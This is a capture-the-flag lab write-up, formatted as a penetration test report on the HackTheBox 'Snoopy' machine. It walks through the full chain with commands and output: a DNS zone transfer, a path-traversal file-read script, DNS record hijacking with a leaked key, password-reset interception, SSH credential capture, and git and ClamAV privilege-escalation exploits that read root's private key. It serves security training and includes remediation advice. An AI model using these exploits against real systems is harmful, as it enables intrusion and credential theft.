Executive Summary

HackTheBox contracted Otrashoui Cybersecurity Services™ to perform a Network Penetration Test of one of Hack The Box’s internal hosts to identify security weaknesses, determine the impact to HackTheBox, and provide remediation recommendations.

Approach

Otrashoui Cybersecurity Services™ performed testing under a “black box” approach without credentials or any prior knowledge of HackTheBox’s environment.

Scope

Assessment Overview and Recommendations

During the Penetration test against HackTheBox, Otrashoui Cybersecurity Services™ identified five (5) findings that affect HackTheBox’s information security posture.

The first finding involved a DNS Zone Transfer, which allows unauthorized users to retrieve information about the DNS server. This issue can be fixed by hardening the DNS server configuration.

Another finding involved a vulnerability on the http://snoopy.htb website that enabled the tester to read arbitrary files on the underlying server, including a configuration file containing a secret key used to add, modify or delete DNS records. This kind of vulnerabilities can be prevented by adopting secure coding practices.

The tester found a custom “slash command” on the Mattermost instance used to provision new servers. There was a flaw that allowed the tester to steal the credentials used to login to the server. One way to fix this issue is implementing an allow-list of trusted IP addresses that are safe to provision.

Finally, the tester found two (2) public vulnerabilities affecting software installed on the system. These vulnerabilities make privilege escalation possible, granting full access over the compromised server. Regular security updates will help in mitigating these kinds of issues.

Summary of Findings

The following table presents a summary of findings by severity level:

Below is a high-level overview of each finding identified during the assessment. These findings are covered in depth in the Technical Findings Details section of this report:

Exploitation Walkthrough

During the course of the assessment, Otrashoui Cybersecurity Services™ was able to gain a foothold and fully compromise the in-scope host. The steps below demonstrate how the tester went from unauthenticated user to administrative access on the host.

Detailed Walkthrough

1. The tester performed a DNS zone transfer to gather information about available subdomains, including mm.snoopy.htb which hosts a Mattermost instance.
2. The tester exploited a path traversal vulnerability on http://snoopy.htb/donwload to get access to local files
3. A configuration file (/etc/bind/named.conf) contained a secret key that allowed the tester to remotely add or modify DNS records on the snoopy.htb DNS zone.
4. The tester used this secret key to add a record to make the subdomain mail.snoopy.htb point to his IP address.
5. With control over the mail server, the tester was able to successfully issue a password reset request for any user on the Mattermost instance at http://mm.snoopy.htb. The Mattermost instance will then send a mail to the tester’s machine containing an access token used to reset the password for an account.
6. There was a custom “slash command” used for provisioning new servers. The tester found that when specifying an IP address under his control, it was possible to steal the SSH credentials of the account (cbrown) used to provision new servers.
7. The user cbrown had a sudo rule that allowed to run a git apply command as the user sbrown. The git version installed on the system is vulnerable to CVE-2023-23946 which allows to write files outside the current directory, thus granting access to the sbrown account.
8. The user sbrown also had a sudo rule to run a clamscan command as root. The clamscan version present on the system was vulnerable to CVE-2023-20052, a XXE vulnerability that allows reading the private SSH key for the root user.

Reproduction Steps

In the following code snippets, [...] is used to discard irrelevant output in the current context. Additionally, lines starting with the $ character indicate a system command typed by the tester.

Perform a zone transfer to retrieve all information about the zone snoopy.htb:

$ dig @10.129.84.135 AXFR snoopy.htb
snoopy.htb.             86400   IN      SOA     ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
snoopy.htb.             86400   IN      NS      ns1.snoopy.htb.
snoopy.htb.             86400   IN      NS      ns2.snoopy.htb.
mattermost.snoopy.htb.  86400   IN      A       172.18.0.3
mm.snoopy.htb.          86400   IN      A       127.0.0.1
ns1.snoopy.htb.         86400   IN      A       10.0.50.10
ns2.snoopy.htb.         86400   IN      A       10.0.51.10
postgres.snoopy.htb.    86400   IN      A       172.18.0.2
provisions.snoopy.htb.  86400   IN      A       172.18.0.4
www.snoopy.htb.         86400   IN      A       127.0.0.1
snoopy.htb.             86400   IN      SOA     ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604

Exploit the path traversal vulnerability to read the DNS server configuration using a python script developed for convenience:

$ python3 file-read.py
>_ /etc/bind/named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};

Use this secret to update the snoopy.htb DNS zone and point mail.snoopy.htb to 10.10.14.27 (IP address of the tester’s machine):

$ nsupdate -y hmac-sha256:rndc-key:BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=
> server 10.10.11.212
> zone snoopy.htb
> update add mail.snoopy.htb 86400 A 10.10.14.27
> send
> answer
Answer:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id:  57123
;; flags: qr; ZONE: 1, PREREQ: 0, UPDATE: 0, ADDITIONAL: 1
;; ZONE SECTION:
;snoopy.htb.                    IN      SOA

;; TSIG PSEUDOSECTION:
rndc-key.               0       ANY     TSIG    hmac-sha256. 1695298531 300 32 3fHCAlo6NChqaP9FVn1UACdyZQmtD/gvH509Saz6dn4= 57123 NOERROR 0

Confirm that the record was successfully added:

$ dig @10.10.11.212 mail.snoopy.htb
[...]
mail.snoopy.htb.        86400   IN      A       10.10.14.27
[...]

The tester used the mail.snoopy.htb subdomain because it appears in http://snoopy.htb/contact.html: This suggests that some services are potentially using this subdomain.

Now that emails are sent to the tester’s machine, setup a SMTP mail server to receive mails:

$ sudo python -m aiosmtpd -dnl '*:25'
INFO:mail.log:Server is listening on *:25

The tester was able to successfully issue a password reset for the sbrown@snoopy.htb account on the Mattermost instance:

The e-mail address was obtained from http://snoopy.htb/team.html:

The email containing the password reset access token is received:

[...]
---------- MESSAGE FOLLOWS ----------
[...]

Reset Your Password
Click the button below to reset your password. If you didn=E2=80=99t reques=
t this, you can safely ignore this email.

Reset Password ( http://mm.snoopy.htb/reset_password_complete?token=3Dk119s=

Make sure to clean up = signs at the end of each line and remove the 3D characters at the beginning of the token:

http://mm.snoopy.htb/reset_password_complete?token=k119s4bxqr7wdf7kposizrmxc5ezeyez468uhmodohjubsxxigp8hcb89t4zyxa5

The tester was able to successfully reset the password for sbrown@snoopy.htb and get access to the Mattermost instance:

There is a custom “slash command”:

After sending the message /server_provision to “cbrown”, there is a form to submit:

After submitting the form by specifying the “Linux - TCP/2222” option and an IP address controlled by the tester, catch the SSH credentials using a SSH honeypot like sshesame:

$ /opt/sshesame/sshesame -config sshesame.yaml
INFO 2023/09/21 18:29:50 No host keys configured, using keys at "/home/yep/.local/share/sshesame"
INFO 2023/09/21 18:29:50 Listening on [::]:2222
[10.10.11.212:47050] authentication for user "cbrown" with password "sn00pedcr3dential!!!" accepted
[10.10.11.212:47050] connection with client version "SSH-2.0-paramiko_3.1.0" established
[10.10.11.212:47050] [channel 0] session requested
[10.10.11.212:47050] [channel 0] command "ls -la" requested
[10.10.11.212:47050] [channel 0] closed
[10.10.11.212:47050] connection closed

It is possible to login to the host as cbrown with these credentials:

$ ssh cbrown@snoopy.htb
[...]
cbrown@snoopy:~$ whoami
cbrown
cbrown@snoopy:~$ hostname
snoopy.htb

cbrown is allowed to run a git apply command as sbrown:

cbrown@snoopy:~$ sudo -l
[sudo] password for cbrown: 
Matching Defaults entries for cbrown on snoopy:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
    XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User cbrown may run the following commands on snoopy:
    (sbrown) PASSWD: /usr/bin/git ^apply -v [a-zA-Z0-9.]+$

The installed git version is vulnerable to CVE-2023-23946:

cbrown@snoopy:~$ git --version
git version 2.34.1

It is possible to overwrite the ~/.ssh/authorized_keys file of sbrown by creating a new git repository and a specific patch file:

cbrown@snoopy:~$ git init /tmp/ssh
Initialized empty Git repository in /tmp/ssh/.git/
cbrown@snoopy:~$ chmod 777 /tmp/ssh
cbrown@snoopy:~$ cd /tmp/ssh
cbrown@snoopy:/tmp/ssh$ ln -s /home/sbrown/.ssh symlink
cbrown@snoopy:/tmp/ssh$ git add symlink 
cbrown@snoopy:/tmp/ssh$ git commit -m 'add symlink'
[master (root-commit) 4f69273] add symlink
 1 file changed, 1 insertion(+)
 create mode 120000 symlink

This is the patch file:

diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..039727e
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1,1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d

After applying the patch, it is possible to login as sbrown via SSH:

cbrown@snoopy:/tmp/ssh$ sudo -u sbrown git apply ./patch

$ ssh -i sbrown.key sbrown@snoopy.htb
[...]
sbrown@snoopy:~$ whoami
sbrown

sbrown is allowed to run a clamscan command as root:

sbrown@snoopy:~$ sudo -l
Matching Defaults entries for sbrown on snoopy:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User sbrown may run the following commands on snoopy:
    (root) NOPASSWD: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$

The installed version of clamscan is vulnerable to CVE-2023-20052:

sbrown@snoopy:~$ clamscan --version
ClamAV 1.0.0/26853/Fri Mar 24 07:24:11 2023

Remediation Summary

Short Term

• Restrict DNS zone transfers only for trusted IP addresses.
• Update the git package to the latest version.
• Upgrade to the latest version of ClamAV.
• Validate user input by verifying the final absolute path is allowed.

Medium Term

• Consider implementing an IP address allow-list to prevent unauthorized IP addresses to steal SSH credentials.
• Consider using a low privilege account to accomplish specific tasks.

Long Term

• Conduct periodic vulnerability scans to discover outdated or vulnerable software.

Technical Findings Details

1. Local File Disclosure - High

Evidence

Exploit the vulnerability to include a /etc/passwd in the zip archive:

$ curl -s 'snoopy.htb/download?file=....//....//....//....//....//etc/passwd' -o out.zip

$ unzip -l out.zip
Archive:  out.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     1805  2023-04-25 19:38   press_package/etc/passwd
---------                     -------
     1805                     1 file
     
$ unzip out.zip
Archive:  out.zip
  inflating: press_package/etc/passwd
  
$ ls
out.zip  press_package

$ cat press_package/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

Convenience python script with interactive shell to display remote files:

#!/usr/bin/env python3

from cmd import Cmd
import requests
from io import BytesIO
from zipfile import ZipFile, BadZipFile

URL = "http://snoopy.htb/download"

class Shell(Cmd):
    prompt = ">_ "

    def default(self, path):
        param = {"file": f"....//....//....//....//..../{path}"}
        res = session.get(URL, params=param)
        try:
            with ZipFile(BytesIO(res.content)) as zip:
                contents = zip.read(f"press_package{path}").decode("utf8").strip()
                print(contents)
        except BadZipFile:
            print(f"{path}: not found")

    # quit on CTRL-D
    def do_EOF(self, _):
        session.close()
        print()
        return True


session = requests.Session()
sh = Shell()
try:
    sh.cmdloop()
except KeyboardInterrupt:
    session.close()

To use it, launch the script and type the absolute path of the file to read:

$ python3 fileread.py
>_ /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]

2. SSH Credentials Stealing - High

Evidence

Send the message /server_provision to “cbrown”. The “Email” and “Department” fields don’t matter:

After submitting the form, catch the SSH credentials using a SSH honeypot like sshesame:

$ /opt/sshesame/sshesame -config sshesame.yaml
INFO 2023/09/21 18:29:50 No host keys configured, using keys at "/home/yep/.local/share/sshesame"
INFO 2023/09/21 18:29:50 Listening on [::]:2222
[10.10.11.212:47050] authentication for user "cbrown" with password "sn00pedcr3dential!!!" accepted
[10.10.11.212:47050] connection with client version "SSH-2.0-paramiko_3.1.0" established
[10.10.11.212:47050] [channel 0] session requested
[10.10.11.212:47050] [channel 0] command "ls -la" requested
[10.10.11.212:47050] [channel 0] closed
[10.10.11.212:47050] connection closed

Here is the sshesame.yaml configuration file that was used:

server:
  listen_address: 0.0.0.0:2222

  # Host private key files.
  # If unspecified, null or empty, an RSA, ECDSA and Ed25519 key will be generated and stored.
  host_keys: null

  # Fake internal services for handling direct-tcpip channels (`ssh -L`).
  # If unspecified or null, sensible defaults will be used.
  # If empty, no direct-tcpip channels will be accepted.
  tcpip_services:

logging:
  # The log file to output activity logs to. Debug and error logs are still written to standard error.
  # If unspecified or null, activity logs are written to standard out.
  file: null

  # Make activity logs JSON-formatted instead of human readable.
  json: false

  # Include timestamps in the logs.
  timestamps: false

  # Log full raw details of all global requests, channels and channel requests.
  debug: false

  # Address to export and serve prometheus metrics on.
  # If unspecified or null, metrics are not served.
  metrics_address: null

  # When logging in JSON, log addresses as objects including the hostname and the port instead of strings.
  split_host_port: false

auth:
  # Allow clients to connect without authenticating.
  no_auth: false

  # The maximum number of authentication attempts permitted per connection.
  # If set to a negative number, the number of attempts are unlimited.
  # If unspecified, null or zero, a sensible default is used.
  max_tries: 0

  password_auth:
    # Offer password authentication as an authentication option.
    enabled: true

    # Accept all passwords.
    accepted: true

  public_key_auth:
    # Offer public key authentication as an authentication option.
    enabled: true

    # Accept all public keys.
    accepted: false

  keyboard_interactive_auth:
    # Offer keyboard interactive authentication as an authentication option.
    enabled: false

    # Accept all keyboard interactive answers.
    accepted: false

    # Instruction for the keyboard interactive authentication.
    instruction: Answer these weird questions to log in!

    questions:
      - text: "User: " # Keyboard interactive authentication question text.
        echo: true # Enable echoing the answer.
      - text: "Password: "
        echo: false

ssh_proto:
  # The version identification string to announce in the public handshake.
  # If unspecified or null, a reasonable default is used.
  # Note that RFC 4253 section 4.2 requires that this string start with "SSH-2.0-".
  version: SSH-2.0-sshesame

  # Sent to the client after key exchange completed but before authentication.
  # If unspecified or null, a reasonable default is used.
  # If empty, no banner is sent.
  banner: Legit OpenSSH Sever

  # The maximum number of bytes sent or received after which a new key is negotiated. It must be at least 256.
  # If unspecified, null or 0, a size suitable for the chosen cipher is used.
  rekey_threshold: 0

  # The allowed key exchanges algorithms.
  # If unspecified or null, a default set of algorithms is used.
  key_exchanges: null

  # The allowed cipher algorithms.
  # If unspecified or null, a sensible default is used.
  ciphers: null

  # The allowed MAC algorithms.
  # If unspecified or null, a sensible default is used.
  macs: null

3. Vulnerable Software (CVE-2023-23946) - High

Evidence

Create a new git repository containing a symbolic link to the .ssh directory of sbrown:

cbrown@snoopy:~$ git init /tmp/ssh
Initialized empty Git repository in /tmp/ssh/.git/
cbrown@snoopy:~$ chmod 777 /tmp/ssh
cbrown@snoopy:~$ cd /tmp/ssh
cbrown@snoopy:/tmp/ssh$ ln -s /home/sbrown/.ssh symlink
cbrown@snoopy:/tmp/ssh$ git add symlink 
cbrown@snoopy:/tmp/ssh$ git commit -m 'add symlink'
[master (root-commit) 4f69273] add symlink
 1 file changed, 1 insertion(+)
 create mode 120000 symlink

Create the patch file. This file is a slightly modified version found in the commit fixing the vulnerability:

diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..039727e
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1,1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d

This patch is renaming the symbolic link created above then writing through this symlink which should be prevented.

Apply the patch, which triggers the vulnerability and allows cbrown to overwrite sbrown’s authorized_keys file:

cbrown@snoopy:/tmp/ssh$ sudo -u sbrown git apply -v patch
[sudo] password for cbrown:
Checking patch symlink => renamed-symlink...
Checking patch renamed-symlink/authorized_keys...
Applied patch symlink => renamed-symlink cleanly.
Applied patch renamed-symlink/authorized_keys cleanly.

It is now possible to SSH in as sbrown:

$ ssh -i sbrown.key sbrown@snoopy.htb
[...]
sbrown@snoopy:~$ whoami
sbrown

Bonus

When the box was released the sudo rule looked like this:

cbrown@snoopy:~$ sudo -l
[sudo] password for cbrown:
Matching Defaults entries for cbrown on snoopy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User cbrown may run the following commands on snoopy:
    (sbrown) PASSWD: /usr/bin/git apply *

By using the --unsafe-paths flag, it was possible to act on files outside the current directory/repository:

cbrown@snoopy:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIALFibYp7EjZy80JhgKukvaHx8D3m0OsKLnDgIlLGaBK' > /tmp/pub

cbrown@snoopy:~$ sudo -u sbrown git apply -v --unsafe-paths /tmp/patch
Checking patch /tmp/pub => /home/sbrown/.ssh/authorized_keys...
warning: unable to unlink '/tmp/pub': Operation not permitted
Applied patch /tmp/pub => /home/sbrown/.ssh/authorized_keys cleanly.

Here is the patch file:

diff --git a/file1 b/file2
similarity index 100%
rename from /tmp/pub
rename to /home/sbrown/.ssh/authorized_keys

It is simply moving the /tmp/pub file created above to /home/sbrown/.ssh/authorized_keys, allowing us to SSH as sbrown.

4. Vulnerable Software (CVE-2023-20052) - High

Evidence

Confirm the version is vulnerable:

sbrown@snoopy:~$ clamscan --version
ClamAV 1.0.0/26853/Fri Mar 24 07:24:11 2023

The vulnerability occurs when scanning a DMG (MacOS image format) file. The first step is to actually get a DMG file. For this exploit, the tester used this one: https://github.com/transmission/transmission/releases/.

Once the DMG file is downloaded, the tester modified the XML data using a hex editor. Two (2) changes are needed: - include an external entity definition in the DOCTYPE. - reference this external entity inside the XML document, replacing an item shown in the output of clamscan --debug filename.dmg (for this exploit, the value plst was replaced with the external entity).

Search for an item <key>plst</key> and replace it with the entity defined above:

Note that the DMG file format is compressed. As such, it is important to keep the original size when editing the file (this is why the tester added multiple spaces after the external entity definition).

sbrown@snoopy:~$ sudo clamscan --debug ~/scanfiles/app.dmg
[...]
LibClamAV debug: cli_scandmg: wanted blkx, text value is -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA1560zU3j7mFQUs5XDGIarth/iMUF6W2ogsW0KPFN8MffExz2G9D/
4gpYjIcyauPHSrV4fjNGM46AizDTQIoK6MyN4K8PNzYMaVnB6IMG9AVthEu11nYzoqHmBf
hy0cp4EaM3gITa10AMBAbnv2bQyWhVZaQlSQ5HDHt0Dw1mWBue5eaxeuqW3RYJGjKjuFSw
kfWsSVrLTh5vf0gaV1ql59Wc8Gh7IKFrEEcLXLqqyDoprKq2ZG06S2foeUWkSY134Uz9oI
Ctqf16lLFi4Lm7t5jkhW9YzDRha7Om5wpxucUjQCG5dU/Ij1BA5jE8G75PALrER/4dIp2U
zrXxs/2Qqi/4TPjFJZ5YyaforTB/nmO3DJawo6bclAA762n9bdkvlxWd14vig54yP7SSXU
[...]

Bonus

When the box was released, the sudo rule looked like this:

sbrown@snoopy:~$ sudo -l
Matching Defaults entries for sbrown on snoopy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User sbrown may run the following commands on snoopy:
    (root) NOPASSWD: /usr/local/bin/clamscan

One way to escalate privileges was to use the --copy option to copy /home/sbrown/.ssh/authorized_keys to /root/.ssh/. First, we have to create a signature for of authorized_keys file using the sigtool command (included with clamscan):

sbrown@snoopy:~$ sigtool --hex-dump < .ssh/authorized_keys | head -c 24

sbrown@snoopy:~$ cat sig.ndb
ROOT.KEY:0:*:7373682d6564323535313920

Then we can use this signature to flag /home/sbrown/.ssh/authorized_keys as malicious and use the --copy option to copy the “malicious” authorized_keys file to /root/.ssh/:

sbrown@snoopy:~$ cp .ssh/authorized_keys .ssh/authorized_keys2

sbrown@snoopy:~$ sudo clamscan -d sig.ndb .ssh/authorized_keys2 --copy=/root/.ssh
Loading:     0s, ETA:   0s [========================>]        1/1 sigs
Compiling:   0s, ETA:   0s [========================>]       40/40 tasks

/home/sbrown/.ssh/authorized_keys2: ROOT.KEY.UNOFFICIAL FOUND
/home/sbrown/.ssh/authorized_keys2: copied to '/root/.ssh/authorized_keys2'

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 1.0.0
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 0.009 sec (0 m 0 s)
Start Date: 2023:05:10 10:40:24
End Date:   2023:05:10 10:40:24

If /root/.ssh/authorized_keys already exists, we can use authorized_keys2 instead.

We can now SSH in as root with the same key as sbrown.

There was also another unintended that enabled us to read root’s private SSH key using the -f option:

sbrown@snoopy:~$ sudo clamscan -f /root/.ssh/id_rsa
[...]
-----BEGIN OPENSSH PRIVATE KEY-----: No such file or directory
WARNING: -----BEGIN OPENSSH PRIVATE KEY-----: Can't access file
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn: No such file or directory
WARNING: b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn: Can't access file
[...]

The -f option takes a file containing a list of files to analyze, one by line.

To get a cleaner output:

sbrown@snoopy:~$ sudo clamscan -f /root/.ssh/id_rsa 2>&1 | awk -F: '/No such file/ {print $1}'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA1560zU3j7mFQUs5XDGIarth/iMUF6W2ogsW0KPFN8MffExz2G9D/
[...]

5. DNS Zone Transfer - Medium

Evidence

Use the dig DNS client to request a zone transfer for the snoopy.htb zone:

$ dig @10.129.84.135 AXFR snoopy.htb
snoopy.htb.             86400   IN      SOA     ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
snoopy.htb.             86400   IN      NS      ns1.snoopy.htb.
snoopy.htb.             86400   IN      NS      ns2.snoopy.htb.
mattermost.snoopy.htb.  86400   IN      A       172.18.0.3
mm.snoopy.htb.          86400   IN      A       127.0.0.1
ns1.snoopy.htb.         86400   IN      A       10.0.50.10
ns2.snoopy.htb.         86400   IN      A       10.0.51.10
postgres.snoopy.htb.    86400   IN      A       172.18.0.2
provisions.snoopy.htb.  86400   IN      A       172.18.0.4
www.snoopy.htb.         86400   IN      A       127.0.0.1
snoopy.htb.             86400   IN      SOA     ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604